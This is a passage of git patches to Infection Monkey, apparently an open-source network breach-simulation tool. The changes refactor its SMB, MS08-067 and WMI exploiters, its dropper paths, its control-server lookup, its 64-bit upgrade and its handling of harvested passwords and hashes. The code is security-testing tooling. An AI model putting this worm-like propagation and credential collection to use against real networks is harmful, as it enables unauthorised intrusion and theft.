self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index 717810bf9..d3b27f79d 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index b29012d47..85086bce7 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 0db4be6ef..0f9b2ee4c 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index a38d04dde..1065cf257 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -243,7 +243,7 @@ class InfectionMonkey(object): self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not self._upgrading_to_64: + and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From 10ffb71614c6874114250aa3ead9060c2c842a5f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 8 Apr 2018 19:46:54 +0300 Subject: [PATCH 21/92] Fixed issue tracker link --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b4f69c1e9..09de83205 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,7 +2,7 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. +Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. From fcb5b8f85d91ddf831fb22f8c09c05ed035e9b1f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 11:28:59 +0300 Subject: [PATCH 22/92] Fix CR --- common/network/{range.py => network_range.py} | 4 ++-- infection_monkey/network/info.py | 2 +- infection_monkey/network/network_scanner.py | 2 +- infection_monkey/requirements.txt | 1 + 4 files changed, 5 insertions(+), 4 deletions(-) rename common/network/{range.py => network_range.py} (97%) diff --git a/common/network/range.py b/common/network/network_range.py similarity index 97% rename from common/network/range.py rename to common/network/network_range.py index 31a88e0df..b7ca686aa 100644 --- a/common/network/range.py +++ b/common/network/network_range.py @@ -15,7 +15,7 @@ class NetworkRange(object): self._shuffle = shuffle def get_range(self): - return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips + return self._get_range() def __iter__(self): base_range = self.get_range() @@ -66,7 +66,7 @@ class CidrRange(NetworkRange): return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - return [CidrRange._ip_to_number(str(x)) for x in self._ip_network] + return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address] class IpRange(NetworkRange): diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index da30e7b0f..7c208dce4 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -8,7 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint -from common.network.range import CidrRange +from common.network.network_range import CidrRange def get_host_subnets(): diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7837e36c3..563b04b6d 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -3,7 +3,7 @@ import time from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from common.network.range import * +from common.network.network_range import * from model import VictimHost from . import HostScanner diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 2c96e311c..bd7689886 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ ecdsa netifaces mock nose +ipaddress \ No newline at end of file From 148684d78fef412fd9e88c56b2859a8b5c9c0d91 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 19:07:03 +0300 Subject: [PATCH 23/92] Fixed most CR --- infection_monkey/config.py | 2 +- infection_monkey/control.py | 21 ++++++++++----- infection_monkey/dropper.py | 9 +++---- infection_monkey/monkey.py | 38 ++++++++++++++++------------ infection_monkey/windows_upgrader.py | 18 ++++++------- monkey_island/cc/services/config.py | 6 +++-- 6 files changed, 55 insertions(+), 39 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 404dc194e..b9c3c8595 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -6,7 +6,7 @@ import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 12f0cb754..0a32aa8b9 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -4,6 +4,7 @@ import platform from socket import gethostname import requests +from requests.exceptions import ConnectionError import monkeyfs import tunnel @@ -59,9 +60,11 @@ class ControlClient(object): if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) + current_server = "" + for server in WormConfiguration.command_servers: try: - WormConfiguration.current_server = server + current_server = server debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: @@ -70,23 +73,29 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) + WormConfiguration.current_server = current_server break - except Exception as exc: - WormConfiguration.current_server = "" + except ConnectionError as exc: + current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) - if not WormConfiguration.current_server: - if not ControlClient.proxies: + if current_server: + return True + else: + if ControlClient.proxies: + return False + else: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.find_server() + return ControlClient.find_server() else: LOG.info("No tunnel found") + return False @staticmethod def keepalive(): diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 927ea7cf6..1e6bf2048 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -38,7 +38,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -56,7 +56,7 @@ class MonkeyDrops(object): return # we copy/move only in case path is different - file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) @@ -108,9 +108,8 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - depth = int(self.opts.depth) if self.opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, depth) + monkey_options =\ + build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 1065cf257..e9794355d 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -48,14 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth: - WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -71,9 +70,9 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if firewall.is_enabled(): - firewall.add_firewall_rule() - ControlClient.find_server(default_tunnel=self._default_tunnel) + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -89,6 +88,9 @@ class InfectionMonkey(object): LOG.info("Marked not alive from configuration") return + if firewall.is_enabled(): + firewall.add_firewall_rule() + monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() @@ -227,21 +229,27 @@ class InfectionMonkey(object): LOG.info("Monkey cleanup started") self._keep_running = False - # Signal the server (before closing the tunnel) - if not self._upgrading_to_64: - ControlClient.send_telemetry("state", {'done': True}) + if self._upgrading_to_64: + InfectionMonkey.close_tunnel() + firewall.close() + else: + ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + InfectionMonkey.close_tunnel() + firewall.close() + self._singleton.unlock() - # Close tunnel + InfectionMonkey.self_delete() + LOG.info("Monkey is shutting down") + + @staticmethod + def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) - firewall.close() - - if not self._upgrading_to_64: - self._singleton.unlock() - + @staticmethod + def self_delete(): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: @@ -257,5 +265,3 @@ class InfectionMonkey(object): os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) - - LOG.info("Monkey is shutting down") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index c63b64524..996e2a856 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -3,6 +3,7 @@ import os import struct import subprocess import sys +import shutil import time @@ -23,9 +24,11 @@ else: class WindowsUpgrader(object): + __UPGRADE_WAIT_TIME__ = 3 + @staticmethod def is_64bit_os(): - return os.environ.has_key('PROGRAMFILES(X86)') + return 'PROGRAMFILES(X86)' in os.environ @staticmethod def is_64bit_python(): @@ -44,13 +47,10 @@ class WindowsUpgrader(object): def upgrade(opts): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: - written_monkey_file.write(monkey_bin) + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - depth = int(opts.depth) if opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth) + monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options @@ -62,6 +62,6 @@ class WindowsUpgrader(object): LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) - time.sleep(3) + time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: - LOG.warn("Seems like monkey died too soon") + LOG.error("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 3001ed768..82e536c24 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -444,13 +444,15 @@ SCHEMA = { "title": "Dropper target path on Windows (32bit)", "type": "string", "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" }, "dropper_try_move_first": { "title": "Try to move first", From 86d802882a2e18a4205716ed3b628ea3c793ba90 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 20:59:23 +0300 Subject: [PATCH 24/92] Fix race-condition bug on upgrade --- infection_monkey/main.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/infection_monkey/main.py b/infection_monkey/main.py index 6bdef408c..51fd6b9f7 100644 --- a/infection_monkey/main.py +++ b/infection_monkey/main.py @@ -91,7 +91,12 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - os.remove(log_path) + # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. + try: + os.remove(log_path) + except OSError: + pass LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['root']['handlers'].append('file') else: From 1407ab3969b513485f8faba04d8949e95a143055 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 21:09:06 +0300 Subject: [PATCH 25/92] Fix last CR comments --- infection_monkey/utils.py | 13 +++++++++++++ infection_monkey/windows_upgrader.py | 19 +++---------------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index d95407341..baef2372a 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import struct from config import WormConfiguration @@ -12,3 +13,15 @@ def get_monkey_log_path(): def get_dropper_log_path(): return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ else WormConfiguration.dropper_log_path_linux + + +def is_64bit_os(): + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 996e2a856..38cb3a479 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,6 +1,4 @@ import logging -import os -import struct import subprocess import sys import shutil @@ -12,6 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS +from utils import is_windows_os, is_64bit_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -26,22 +25,10 @@ else: class WindowsUpgrader(object): __UPGRADE_WAIT_TIME__ = 3 - @staticmethod - def is_64bit_os(): - return 'PROGRAMFILES(X86)' in os.environ - - @staticmethod - def is_64bit_python(): - return struct.calcsize("P") == 8 - - @staticmethod - def is_windows_os(): - return sys.platform.startswith("win") - @staticmethod def should_upgrade(): - return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ - and not WindowsUpgrader.is_64bit_python() + return is_windows_os() and is_64bit_os() \ + and not is_64bit_python() @staticmethod def upgrade(opts): From 7eb2a5c98b26697a29870f051e04eb3fb0840c64 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 14:57:22 +0300 Subject: [PATCH 26/92] Remove class C limitation when getting local subnet --- infection_monkey/network/info.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 7c208dce4..179befd4f 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -143,10 +143,7 @@ def get_interfaces_ranges(): netmask_str = net_interface['netmask'] ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only - if ip_interface.network.num_addresses > 255: - res.append(CidrRange(cidr_range="%s/24" % (address_str, ))) - else: - res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) + res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res From 84a678ba5a6e09b0960f34d69198bc8be60c7d16 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 15:53:31 +0300 Subject: [PATCH 27/92] Bugfix in creating IpRange object + clearer error message --- common/network/network_range.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index b7ca686aa..66910ff0d 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -75,24 +75,24 @@ class IpRange(NetworkRange): if ip_range is not None: addresses = ip_range.split('-') if len(addresses) != 2: - raise ValueError('Illegal IP range format: %s' % ip_range) + raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] - if self._higher_end_ip < self._lower_end_ip: - raise ValueError('Higher end IP is smaller than lower end IP: %s' % ip_range) elif (lower_end_ip is not None) and (higher_end_ip is not None): - self._lower_end_ip = lower_end_ip - self._higher_end_ip = higher_end_ip + self._lower_end_ip = lower_end_ip.strip() + self._higher_end_ip = higher_end_ip.strip() else: raise ValueError('Illegal IP range: %s' % ip_range) - self._lower_end_ip_num = IpRange._ip_to_number(self._lower_end_ip) - self._higher_end_ip_num = IpRange._ip_to_number(self._higher_end_ip) + self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) + self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) + if self._higher_end_ip_num < self._lower_end_ip_num: + raise ValueError('Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip,self._higher_end_ip)) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) def is_in_range(self, ip_address): - return self._lower_end_ip_num <= IpRange._ip_to_number(ip_address) <= self._higher_end_ip_num + return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num def _get_range(self): return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) From a77044dbf015b45feb0ead16bc095fcbe018d4dc Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 15:58:58 +0300 Subject: [PATCH 28/92] Add quick documentation for get_range and __iter__ in base class --- common/network/network_range.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index 66910ff0d..0173b5810 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -15,9 +15,17 @@ class NetworkRange(object): self._shuffle = shuffle def get_range(self): + """ + :return: Returns a sequence of IPs in an internal format (might be numbers) + """ return self._get_range() def __iter__(self): + """ + Iterator of ip addresses (strings) from the current range. + Use get_range if you want it in one go. + :return: + """ base_range = self.get_range() if self._shuffle: random.shuffle(base_range) @@ -86,7 +94,8 @@ class IpRange(NetworkRange): self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: - raise ValueError('Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip,self._higher_end_ip)) + raise ValueError( + 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip)) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) From 3e859d84fb0bf27e0acfa5a6b45c5fc78ea63fbb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 17:57:21 +0300 Subject: [PATCH 29/92] Rename check for 64-bit to make explict it's a windows only check --- infection_monkey/utils.py | 6 +++++- infection_monkey/windows_upgrader.py | 4 ++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index baef2372a..e2f66bd03 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -15,7 +15,11 @@ def get_dropper_log_path(): else WormConfiguration.dropper_log_path_linux -def is_64bit_os(): +def is_64bit_windows_os(): + ''' + Checks for 64 bit Windows OS using environment variables. + :return: + ''' return 'PROGRAMFILES(X86)' in os.environ diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 38cb3a479..cbd879c15 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_os, is_64bit_python +from utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -27,7 +27,7 @@ class WindowsUpgrader(object): @staticmethod def should_upgrade(): - return is_windows_os() and is_64bit_os() \ + return is_windows_os() and is_64bit_windows_os() \ and not is_64bit_python() @staticmethod From 3fe6d2456b51d01a2dbfb33992743fcd5ad43bfb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 11:27:35 +0300 Subject: [PATCH 30/92] Bugfix when upgrading the monkey without admin permissions. Can happen during development or future exploit flows --- infection_monkey/windows_upgrader.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index cbd879c15..4ee0462c5 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -32,10 +32,14 @@ class WindowsUpgrader(object): @staticmethod def upgrade(opts): - monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) - with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: - shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + try: + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + except (IOError, AttributeError): + LOG.error("Failed to download the Monkey to the target path.") + return monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) From ca65be894669c10aaec4e22731603922a37af3ca Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 11:33:14 +0300 Subject: [PATCH 31/92] Additional edge case in parsing Azure configuration files --- infection_monkey/system_info/azure_cred_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py index ad7db0307..3b1127e44 100644 --- a/infection_monkey/system_info/azure_cred_collector.py +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -96,7 +96,7 @@ class AzureCollector(object): except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") return None - except (KeyError, ValueError): + except (KeyError, ValueError, IndexError): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: From 20c7fef0e82feb6a6b3c94a5a62440bfbf13fe14 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 12:32:46 +0300 Subject: [PATCH 32/92] Fix possible bug when handling passwords with unicode characters --- monkey_island/cc/resources/telemetry.py | 5 +- monkey_island/cc/ui/package-lock.json | 4566 +++++++++++++++++++++-- monkey_island/cc/ui/package.json | 31 +- 3 files changed, 4242 insertions(+), 360 deletions(-) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index d7b21035c..33a11fe58 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -190,7 +190,8 @@ class Telemetry(flask_restful.Resource): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: - creds[user][field] = encryptor.enc(creds[user][field]) + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) @staticmethod def add_system_info_creds_to_config(creds): @@ -221,4 +222,4 @@ TELEM_PROCESS_DICT = \ 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, 'trace': Telemetry.process_trace_telemetry - } \ No newline at end of file + } diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 8acd6e3e6..57cdfdc01 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -152,7 +152,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", "dev": true }, "array-find-index": { @@ -237,9 +237,9 @@ } }, "assert-plus": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz", - "integrity": "sha1-104bh+ev/A24qttwIfP+SBAasjQ=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", "dev": true }, "assertion-error": { @@ -281,15 +281,15 @@ } }, "aws-sign2": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz", - "integrity": "sha1-FDQt0428yU0OW4fXY81jYSwOeU8=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", "dev": true }, "aws4": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", - "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz", + "integrity": 